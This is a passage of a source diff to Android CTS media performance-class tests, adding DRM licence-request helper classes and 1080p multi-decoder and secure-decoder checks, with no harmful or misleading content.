+        m540p30FpsTestFiles.put(VP8, "bbb_960x540_2mbps_30fps_vp8.webm");
+        m540p30FpsTestFiles.put(VP9, "bbb_960x540_2mbps_30fps_vp9.webm");
+        m540p30FpsTestFiles.put(AV1, "bbb_960x540_2mbps_30fps_av1.mp4");
+
+        m1080p30FpsTestFiles.put(AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+        m1080p30FpsTestFiles.put(HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+        m1080p30FpsTestFiles.put(VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
+        m1080p30FpsTestFiles.put(VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+        m1080p30FpsTestFiles.put(AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+
+        switch (Utils.getPerfClass()) {
+            case Build.VERSION_CODES.TIRAMISU:
+                MAX_FRAME_DROP_FOR_30S = MAX_FRAME_DROP_FOR_30S_60FPS_PC_T;
+                break;
+            case Build.VERSION_CODES.S:
+                MAX_FRAME_DROP_FOR_30S = MAX_FRAME_DROP_FOR_30S_60FPS_PC_S;
+                break;
+            case Build.VERSION_CODES.R:
+            default:
+                MAX_FRAME_DROP_FOR_30S = MAX_FRAME_DROP_FOR_30S_30FPS_PC_R;
+                break;
         }
     }
 
     @Before
     public void setUp() throws Exception {
-        assumeTrue("Test requires performance class.", Utils.isPerfClass());
+        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
 
         ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
         assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
@@ -148,7 +161,7 @@
         final String[] mimesList = new String[] {AVC, HEVC, VP8, VP9, AV1};
         for (String mime : mimesList) {
             MediaFormat format = MediaFormat.createVideoFormat(mime, 1920, 1080);
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, FRAME_RATE);
+            format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
             ArrayList<MediaFormat> formats = new ArrayList<>();
             formats.add(format);
             ArrayList<String> listOfDecoders =
@@ -162,6 +175,18 @@
         return argsList;
     }
 
+    protected int getAchievedPerfClass(int frameRate, int frameDropCount) {
+        int pc = 0;
+        if (frameRate == 30) {
+            pc = frameDropCount <= MAX_FRAME_DROP_FOR_30S_30FPS_PC_R ? Build.VERSION_CODES.R : 0;
+        } else {
+            pc = frameDropCount <= MAX_FRAME_DROP_FOR_30S_60FPS_PC_T ? Build.VERSION_CODES.TIRAMISU
+                    : frameDropCount <= MAX_FRAME_DROP_FOR_30S_60FPS_PC_S ? Build.VERSION_CODES.S
+                    : 0;
+        }
+        return pc;
+    }
+
     private void createSurface() throws InterruptedException {
         mActivityRule.getActivity().waitTillSurfaceIsCreated();
         mSurface = mActivityRule.getActivity().getSurface();
@@ -219,7 +244,6 @@
     private void stopLoad() throws Exception {
         if (mLoadStatus != null) {
             mLoadStatus.setLoadFinished();
-            mLoadStatus = null;
         }
         if (mTranscodeLoadThread != null) {
             mTranscodeLoadThread.join();
@@ -231,5 +255,6 @@
         }
         if (mTranscodeLoadException != null) throw mTranscodeLoadException;
         if (mAudioPlaybackLoadException != null) throw mAudioPlaybackLoadException;
+        mLoadStatus = null;
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/KeyRequester.java b/tests/mediapc/src/android/mediapc/cts/KeyRequester.java
new file mode 100644
index 0000000..eac9dab
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/KeyRequester.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2016 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import android.media.MediaDrm;
+import android.media.MediaDrm.MediaDrmStateException;
+import android.media.NotProvisionedException;
+import android.util.Base64;
+import android.util.Log;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.UUID;
+
+/*
+ * KeyRequester is used to request and update the current set of
+ * keys in the CDM. KeyRequester should not be created, used, and
+ * thrown away. A single KeyRequester should last the same period as
+ * the session as it will track the changes in key servers.
+ */
+public class KeyRequester {
+    private final MediaDrm mDrm;
+    private final UUID mCryptoScheme;
+    private int mKeyType;
+    private byte[] mSessionId;
+    private final byte[] mEmeInitData;
+    private static String mMime = null;
+    private static final String TAG = "KeyRequester";
+    private static final UUID PLAYREADY_UUID = new UUID(0x9A04F07998404286L, 0xAB92E65BE0885F95L);
+    private static final UUID WIDEVINE_UUID = new UUID(0xEDEF8BA979D64ACEL, 0xA3C827DCD51D21EDL);
+    private static final String PLAYREADY_CUSTOM_DATA_KEY = "PRCustomData";
+    private static final int MAX_KEY_REQUEST_ATTEMPTS = 4;
+
+    /*
+     * The server url will change during runtime. The additional URLs will get added through
+     * calls to getDefaultUrl(). We keep the original in mServerUrl as a fallback.
+     */
+    private final String mServerUrl;
+    private Post.Response mResponse = null;
+
+    public KeyRequester(
+            MediaDrm drm,
+            byte[] sessionId,
+            int keyType,
+            String mimeType,
+            byte[] emeInitData,
+            String initialServerUrl) {
+
+        this(drm, sessionId, keyType, mimeType, emeInitData, initialServerUrl, WIDEVINE_UUID);
+    }
+
+    public KeyRequester(
+            MediaDrm drm,
+            byte[] sessionId,
+            int keyType,
+            String mimeType,
+            byte[] emeInitData,
+            String initialServerUrl,
+            UUID cryptoScheme) {
+
+        mDrm = drm;
+        mSessionId = sessionId;
+        mKeyType = keyType;
+        mMime = mimeType;
+        mEmeInitData = emeInitData;
+        mServerUrl = initialServerUrl;
+        mCryptoScheme = cryptoScheme;
+    }
+
+    public MediaDrm.KeyRequest getKeyRequest() throws Exception {
+        HashMap<String, String> optionalKeyRequestParameters = null;
+        return getKeyRequest(optionalKeyRequestParameters);
+    }
+
+    public MediaDrm.KeyRequest getKeyRequest(String customData) throws Exception {
+        HashMap<String, String> optionalKeyRequestParameters = new HashMap<>();
+        optionalKeyRequestParameters.put(PLAYREADY_CUSTOM_DATA_KEY, customData);
+        return getKeyRequest(optionalKeyRequestParameters);
+    }
+
+    public MediaDrm.KeyRequest getKeyRequest(HashMap<String, String> optionalKeyRequestParameters)
+            throws Exception {
+        MediaDrm.KeyRequest keyRequest = null;
+        int tries = 1;
+        boolean needsRetry;
+        do {
+            try {
+                needsRetry = false;
+                if (mEmeInitData == null) {
+                    keyRequest = mDrm.getKeyRequest(
+                            mSessionId,
+                            null,
+                            null,
+                            mKeyType,
+                            optionalKeyRequestParameters);
+                } else {
+                    keyRequest = mDrm.getKeyRequest(
+                            mSessionId,
+                            mEmeInitData,
+                            mMime,
+                            mKeyType,
+                            optionalKeyRequestParameters);
+                }
+            } catch (NotProvisionedException ex) {
+                // From Android 12(/S) onwards, because of the introduction of DRM certificates
+                // expiration, getKeyRequest may be throw NotProvisionedException.
+                // The exception is handled here.
+                if (tries == MAX_KEY_REQUEST_ATTEMPTS) {
+                    throw ex;
+                }
+                // Provision the device
+                new ProvisionRequester(mDrm).send();
+                needsRetry = true;
+                tries++;
+            }
+        } while (needsRetry);
+
+        return keyRequest;
+    }
+
+    public byte[] send() throws Exception {
+        return send(getKeyRequest());
+    }
+
+    public byte[] send(MediaDrm.KeyRequest request) throws Exception {
+        sendRequest(request);
+        return provideResponse();
+    }
+
+    public void sendRequest() throws Exception {
+        sendRequest(getKeyRequest());
+    }
+
+    public void sendRequest(MediaDrm.KeyRequest request) throws Exception {
+
+        String url;
+        String defaultUrl = request.getDefaultUrl();
+
+        // Use mServerUrl for PLAYREADY_UUID.
+        if (!mCryptoScheme.equals(PLAYREADY_UUID) && !defaultUrl.isEmpty()) {
+            url = defaultUrl;
+        } else {
+            url = mServerUrl;
+        }
+
+        try {
+            Log.d(TAG, "CURRENT_URL: " + url);
+            logLicensingRequest(request);
+
+            final Post post = new Post(url, request.getData());
+
+            if (mCryptoScheme.equals(PLAYREADY_UUID)) {
+                post.setProperty("Content-Type", "text/xml");
+                post.setProperty("SOAPAction",
+                        "http://schemas.microsoft.com/DRM/2007/03/protocols/AcquireLicense");
+            } else {
+                post.setProperty("User-Agent", "Widevine CDM v1.0");
+                post.setProperty("Connection", "close");
+                post.setProperty("Accept", "*/*");
+            }
+
+            mResponse = post.send();
+            Log.d(TAG, "RESPONSE_CODE: " + Integer.toString(mResponse.code));
+            logLicensingResponse(mResponse);
+
+            if (mResponse.code != 200) {
+                throw new KeyRequesterException(
+                        mResponse.code,
+                        "Server returned HTTP error code " + mResponse.code,
+                        mResponse.body);
+            }
+
+            if (mResponse.body == null) {
+                throw new KeyRequesterException(
+                        mResponse.code, "No response from license service!", null);
+            }
+
+            if (mResponse.body.length == 0) {
+                throw new KeyRequesterException(
+                        mResponse.code, "Empty response from license service!",
+                        mResponse.body);
+            }
+
+        } catch (Exception e) {
+            Log.e(TAG, "EXCEPTION: " + e.toString());
+            Log.e(TAG, "StackTrace: " + e.fillInStackTrace());
+            throw e;
+        }
+    }
+
+    public byte[] provideResponse() throws Exception {
+
+        byte[] keySetId = null;
+        try {
+            // Additional null check on response to appease "null response" dereference warning.
+            byte[] responseBody =
+                    mResponse != null ? parseResponseBody(mResponse.body) : new byte[0];
+
+            keySetId = mDrm.provideKeyResponse(mSessionId, responseBody);
+        } catch (MediaDrmStateException mdse) {
+            // Test is likely shutting down on main thread, the network thread just needs to return.
+            Log.w(TAG, "MediaDrmStateException received providing key response to MediaDrm. "
+                    + "Likely means the test has completed on the main thread. "
+                    + "Details: " + mdse.fillInStackTrace());
+            return null;
+        }
+
+        if (keySetId == null) {
+            throw new Exception("Received null keySetId from provideKeyResponse.");
+        }
+
+        return keySetId; /* Empty byte array for streaming/release requests, keySetId for offline */
+    }
+
+    // Public due to use in MediaDrmTest
+    public byte[] parseResponseBody(byte[] responseBody) throws Exception {
+        final String bodyString = new String(responseBody, "UTF-8");
+
+        if (!bodyString.startsWith("GLS/")) {
+            return responseBody;
+        }
+
+        if (!bodyString.startsWith("GLS/1.")) {
+            throw new Exception("Invalid server version, expected 1.x");
+        }
+
+        final int drmMessageOffset = bodyString.indexOf("\r\n\r\n");
+
+        if (drmMessageOffset == -1) {
+            throw new Exception("Invalid server response, could not locate drm message");
+        }
+
+        return Arrays.copyOfRange(
+                responseBody,
+                drmMessageOffset + 4,
+                responseBody.length);
+    }
+
+    /*
+     * In the case of offline keys, where the session that first retrieved the keys may not be
+     * the session that uses the keys during playback, need to allow a way to update the
+     * session to use in future license service calls.
+     */
+    public void updateSessionId(byte[] sessionId) {
+        mSessionId = sessionId;
+    }
+
+    public void updateKeyType(int keyType) {
+        mKeyType = keyType;
+    }
+
+    public String getInitialServerUrl() {
+        return mServerUrl;
+    }
+
+    private void logLicensingRequest(MediaDrm.KeyRequest request) {
+        try {
+            String myRequest = Base64.encodeToString(request.getData(), Base64.NO_WRAP);
+            Log.i(TAG, "LICENSE_REQUEST: " + myRequest);
+
+        } catch (Exception ex) {
+            Log.e(TAG,
+                    "LICENSE_REQUEST: Failure to log licensing request. ", ex);
+        }
+    }
+
+    private void logLicensingResponse(Post.Response response) {
+        try {
+            String myResponse;
+            String failed_template = "Response failed with code: %d \n Body: \n%s";
+
+            if ((response.body == null) || (response.body.length == 0)) {
+                myResponse = String.format(
+                        Locale.getDefault(), failed_template, response.code, "NULL or EMPTY");
+            } else if (response.code < 400) {
+                myResponse = Base64.encodeToString(response.body, Base64.NO_WRAP);
+            } else {
+                myResponse = String.format(Locale.getDefault(), failed_template, response.code,
+                        new String(response.body, "UTF-8"));
+            }
+
+            Log.i(TAG, "LICENSE_RESPONSE: " + myResponse);
+
+        } catch (Exception ex) {
+            Log.e(TAG, "LICENSE_RESPONSE: Failure to log licensing response. ", ex);
+        }
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/KeyRequesterException.java b/tests/mediapc/src/android/mediapc/cts/KeyRequesterException.java
new file mode 100644
index 0000000..f57d3f9
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/KeyRequesterException.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2018 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+/*
+ * KeyRequesterException is used to hold data received from the license server response when a key
+ * request fails. This data is used by the ExpectException criteria to validate certain responses
+ * from the license server when invalid Policy configurations are requested in the license request.
+ */
+public class KeyRequesterException extends Exception {
+    private final int mResponseCode;
+    private final String mResponseMessage;
+    private final byte[] mResponseBody;
+
+    public KeyRequesterException(int responseCode, String responseMessage, byte[] responseBody) {
+        mResponseCode = responseCode;
+        mResponseMessage = responseMessage;
+        mResponseBody = responseBody;
+    }
+
+    public int getResponseCode() {
+        return mResponseCode;
+    }
+
+    public String getResponseMessage() {
+        return mResponseMessage;
+    }
+
+    public byte[] getResponseBody() {
+        return mResponseBody;
+    }
+
+    @Override
+    public String getMessage() {
+        return getResponseMessage();
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
index 596532b..37f0106 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
@@ -16,62 +16,87 @@
 
 package android.mediapc.cts;
 
+import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
+import static android.mediapc.cts.CodecDecoderTestBase.WIDEVINE_UUID;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
+import android.media.MediaDrm;
 import android.media.MediaFormat;
+import android.media.UnsupportedSchemeException;
+import android.mediapc.cts.common.Utils;
+import android.net.ConnectivityManager;
+import android.net.NetworkCapabilities;
+import android.net.Network;
+import android.os.Build;
+import android.util.Log;
 import android.util.Pair;
-
-import org.junit.Before;
-
 import java.io.IOException;
+import java.net.InetAddress;
+import java.net.Socket;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-
-import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeTrue;
+import org.junit.Assume;
+import org.junit.Before;
 
 public class MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiCodecPerfTestBase.class.getSimpleName();
     static final boolean[] boolStates = {true, false};
     static final int REQUIRED_MIN_CONCURRENT_INSTANCES = 6;
     static final int REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9 = 2;
-    // allowed tolerance in measured fps vs expected fps in percentage, i.e. codecs achieving fps
-    // that is greater than (FPS_TOLERANCE_FACTOR * expectedFps) will be considered as
-    // passing the test
-    static final double FPS_TOLERANCE_FACTOR = 0.95;
-    static ArrayList<String> mMimeList = new ArrayList<String>();
+    static final int REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES = 2;
+
+    static ArrayList<String> mMimeList = new ArrayList<>();
     static Map<String, String> mTestFiles = new HashMap<>();
+    static Map<String, String> m720pTestFiles = new HashMap<>();
+    static Map<String, String> m1080pTestFiles = new HashMap<>();
+    static Map<String, String> m1080pWidevineTestFiles = new HashMap<>();
+
     static {
         mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
         mMimeList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
 
-        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4");
-        mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4");
+        m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4");
+        m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4");
 
-        // Test VP9 and AV1 as well for Build.VERSION_CODES.S
-        if (Utils.isSPerfClass()) {
+        // Test VP9 and AV1 as well for Build.VERSION_CODES.S and beyond
+        if (Utils.getPerfClass() >= Build.VERSION_CODES.S) {
             mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
             mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
 
-            mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm");
-            mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4");
+            m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm");
+            m720pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4");
         }
+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+        m1080pTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+
+        m1080pWidevineTestFiles
+                .put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc_cenc.mp4");
+        m1080pWidevineTestFiles
+                .put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc_cenc.mp4");
+        // TODO(b/230682028)
+        // m1080pWidevineTestFiles
+        //         .put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9_cenc.webm");
+        m1080pWidevineTestFiles
+                .put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1_cenc.mp4");
     }
 
     String mMime;
     String mTestFile;
     final boolean mIsAsync;
 
-    double mMaxFrameRate;
-
     @Before
-    public void isPerformanceClass() {
-        assumeTrue("Test requires performance class.", Utils.isPerfClass());
+    public void isPerformanceClassCandidate() {
+        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
     }
 
     public MultiCodecPerfTestBase(String mime, String testFile, boolean isAsync) {
@@ -80,19 +105,29 @@
         mIsAsync = isAsync;
     }
 
-    // Returns the list of hardware codecs supporting the 720p 30fps format.
-    public static ArrayList<String> getHardwareCodecsFor720p(String mime, boolean isEncoder) {
+    // Returns the list of hardware codecs for given mime
+    public static ArrayList<String> getHardwareCodecsForMime(String mime, boolean isEncoder) {
+        return getHardwareCodecsForMime(mime, isEncoder, false);
+    }
+
+    public static ArrayList<String> getHardwareCodecsForMime(String mime, boolean isEncoder,
+            boolean allCodecs) {
+        // All the multi-instance tests are limited to codecs that support at least 1280x720 @ 30fps
+        // This will exclude hevc constant quality encoders that are limited to max resolution of
+        // 512x512
         MediaFormat fmt = MediaFormat.createVideoFormat(mime, 1280, 720);
         fmt.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
         ArrayList<MediaFormat> formatsList = new ArrayList<>();
         formatsList.add(fmt);
-        return selectHardwareCodecs(mime, formatsList, null, isEncoder);
+        return selectHardwareCodecs(mime, formatsList, null, isEncoder, allCodecs);
     }
 
-    // Returns the max number of 720p 30 fps instances that the given list of mimeCodecPairs
-    // supports. It also checks that the each codec supports 720p 180 fps PerformancePoint.
-    public int checkAndGetMaxSupportedInstancesFor720p(
-            ArrayList<Pair<String, String>> mimeCodecPairs) throws IOException {
+    // Returns the max number of 30 fps instances that the given list of mimeCodecPairs
+    // supports. It also checks that the each codec supports a PerformancePoint that covers
+    // required number of 30 fps instances.
+    public int checkAndGetMaxSupportedInstancesForCodecCombinations(int height, int width,
+            ArrayList<Pair<String, String>> mimeCodecPairs, int requiredMinInstances)
+            throws IOException {
         int[] maxInstances = new int[mimeCodecPairs.size()];
         int[] maxFrameRates = new int[mimeCodecPairs.size()];
         int[] maxMacroBlockRates = new int[mimeCodecPairs.size()];
@@ -104,20 +139,17 @@
             List<PerformancePoint> pps = cap.getVideoCapabilities().getSupportedPerformancePoints();
             assertTrue(pps.size() > 0);
 
-            int requiredFrameRate = 180;
-            // VP9 requires 60 fps at 720p and minimum of 2 instances
-            if (mimeCodecPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
-                requiredFrameRate = 60;
-            }
+            boolean hasVP9 = mimeCodecPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
+            int requiredFrameRate = requiredMinInstances * 30;
 
             maxInstances[loopCount] = cap.getMaxSupportedInstances();
-            PerformancePoint PP720p = new PerformancePoint(1280, 720, requiredFrameRate);
+            PerformancePoint PPRes = new PerformancePoint(width, height, requiredFrameRate);
 
             maxMacroBlockRates[loopCount] = 0;
-            boolean supports720pPerformance = false;
+            boolean supportsResolutionPerformance = false;
             for (PerformancePoint pp : pps) {
-                if (pp.covers(PP720p)) {
-                    supports720pPerformance = true;
+                if (pp.covers(PPRes)) {
+                    supportsResolutionPerformance = true;
                     if (pp.getMaxMacroBlockRate() > maxMacroBlockRates[loopCount]) {
                         maxMacroBlockRates[loopCount] = (int) pp.getMaxMacroBlockRate();
                         maxFrameRates[loopCount] = pp.getMaxFrameRate();
@@ -125,8 +157,12 @@
                 }
             }
             codec.release();
-            assertTrue("Codec " + mimeCodecPair.second + " doesn't support 720p " +
-                    requiredFrameRate + " performance point", supports720pPerformance);
+            if (!supportsResolutionPerformance) {
+                Log.e(LOG_TAG,
+                        "Codec " + mimeCodecPair.second + " doesn't support " + height + "p/" +
+                                requiredFrameRate + " performance point");
+                return 0;
+            }
             loopCount++;
         }
         Arrays.sort(maxInstances);
@@ -136,12 +172,65 @@
         int minOfMaxFrameRates = maxFrameRates[0];
         int minOfMaxMacroBlockRates = maxMacroBlockRates[0];
 
-        // Allow a tolerance in expected frame rate
-        mMaxFrameRate = minOfMaxFrameRates * FPS_TOLERANCE_FACTOR;
-
-        // Calculate how many 720p 30fps max instances it can support from it's mMaxFrameRate
-        // amd maxMacroBlockRate. (720p is 3,600 macro blocks assuming 16x16 macroblocks)
+        // Calculate how many 30fps max instances it can support from it's mMaxFrameRate
+        // amd maxMacroBlockRate. (assuming 16x16 macroblocks)
         return Math.min(minOfMaxInstances, Math.min((int) (minOfMaxFrameRates / 30.0),
-                (int) (minOfMaxMacroBlockRates / 3600.0 / 30)));
+                (int) (minOfMaxMacroBlockRates / ((width / 16) * (height / 16)) / 30.0)));
+    }
+
+    public int getRequiredMinConcurrentInstances720p(boolean hasVP9) throws IOException {
+        // Below T, VP9 requires 60 fps at 720p and minimum of 2 instances
+        if (!Utils.isTPerfClass() && hasVP9) {
+            return REQUIRED_MIN_CONCURRENT_INSTANCES_FOR_VP9;
+        }
+        return REQUIRED_MIN_CONCURRENT_INSTANCES;
+    }
+
+    boolean isSecureSupportedCodec(String codecName, String mime) throws IOException {
+        boolean isSecureSupported;
+        MediaCodec codec = MediaCodec.createByCodecName(codecName);
+        isSecureSupported = codec.getCodecInfo().getCapabilitiesForType(mime).isFeatureSupported(
+                FEATURE_SecurePlayback);
+        codec.release();
+        return isSecureSupported;
+    }
+
+    boolean isWidevineSupported() {
+        return MediaDrm.isCryptoSchemeSupported(WIDEVINE_UUID);
+    }
+
+    boolean isWidevineL1Supported() throws UnsupportedSchemeException {
+        boolean isL1Supported = false;
+        if (isWidevineSupported()) {
+            MediaDrm mediaDrm = new MediaDrm(WIDEVINE_UUID);
+            isL1Supported = mediaDrm.getPropertyString("securityLevel").equals("L1");
+            mediaDrm.close();
+        }
+        return isL1Supported;
+    }
+
+    boolean isInternetAvailable() {
+        Context context = androidx.test.core.app.ApplicationProvider.getApplicationContext();
+        ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
+        NetworkCapabilities cap = cm.getNetworkCapabilities(cm.getActiveNetwork());
+        if (cap == null) return false;
+        return cap.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET);
+    }
+
+    boolean meetsSecureDecodePreconditions() throws UnsupportedSchemeException {
+        Assume.assumeTrue("Skipping secure decoder performance tests as Widevine is not supported",
+                isWidevineSupported());
+
+        if (Utils.isTPerfClass()) {
+            assertTrue("If Widevine is supported, L1 support is required for media performance " +
+                            "class T devices",
+                    isWidevineL1Supported());
+            assertTrue("Test requires internet connection for validating secure decoder " +
+                            "requirements for media performance class T devices",
+                    isInternetAvailable());
+            return true;
+        }
+
+        return isWidevineL1Supported() && isInternetAvailable();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
index ddb7451..c114e30 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
@@ -16,23 +16,32 @@
 
 package android.mediapc.cts;
 
+import static org.junit.Assert.assertTrue;
+
+import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
 
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Assume;
+import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
+import java.util.Map;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
 
-import static org.junit.Assert.assertTrue;
-
 /**
  * The following test class calculates the maximum number of concurrent decode sessions that it can
  * support by the two hardware (mime - decoder) pair calculated via the
@@ -44,6 +53,7 @@
 @RunWith(Parameterized.class)
 public class MultiDecoderPairPerfTest extends MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiDecoderPairPerfTest.class.getSimpleName();
+    private static final int REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE = 3;
 
     private final Pair<String, String> mFirstPair;
     private final Pair<String, String> mSecondPair;
@@ -55,6 +65,9 @@
         mSecondPair = secondPair;
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Returns the list of params with two hardware (mime - decoder) pairs in both
     // sync and async modes.
     // Parameters {0}_{1}_{2} -- Pair(Mime DecoderName)_Pair(Mime DecoderName)_isAsync
@@ -63,7 +76,7 @@
         final List<Object[]> argsList = new ArrayList<>();
         ArrayList<Pair<String, String>> mimeTypeDecoderPairs = new ArrayList<>();
         for (String mime : mMimeList) {
-            ArrayList<String> listOfDecoders = getHardwareCodecsFor720p(mime, false);
+            ArrayList<String> listOfDecoders = getHardwareCodecsForMime(mime, false, true);
             for (String decoder : listOfDecoders) {
                 mimeTypeDecoderPairs.add(Pair.create(mime, decoder));
             }
@@ -88,30 +101,123 @@
      */
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {"2.2.7.1/5.1/H-1-1", "2.2.7.1/5.1/H-1-2"})
     public void test720p() throws Exception {
+        Assume.assumeTrue(Utils.isSPerfClass() || Utils.isRPerfClass() || !Utils.isPerfClass());
+        Assume.assumeFalse("Skipping regular performance tests for secure codecs",
+                isSecureSupportedCodec(mFirstPair.second, mFirstPair.first) ||
+                        isSecureSupportedCodec(mSecondPair.second, mSecondPair.first));
+
+        boolean hasVP9 = mFirstPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9) ||
+                mSecondPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
+        int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
+        testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
+    }
+
+    /**
+     * This test calculates the number of 1080p 30 fps decoder instances that the given two
+     * (mime - decoder) pairs can support. Assigns the same number of instances to the two pairs
+     * (if max instances are even), or one more to one pair (if odd) and ensures that all the
+     * concurrent sessions succeed in decoding with meeting the expected frame rate.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirements = {
+            "2.2.7.1/5.1/H-1-1",
+            "2.2.7.1/5.1/H-1-2",
+            "2.2.7.1/5.1/H-1-9",
+            "2.2.7.1/5.1/H-1-10",})
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        boolean isFirstSecure = isSecureSupportedCodec(mFirstPair.second, mFirstPair.first);
+        boolean isSecondSecure = isSecureSupportedCodec(mSecondPair.second, mSecondPair.first);
+        boolean onlyOneSecure = isFirstSecure ^ isSecondSecure;
+        boolean bothSecure = isFirstSecure & isSecondSecure;
+
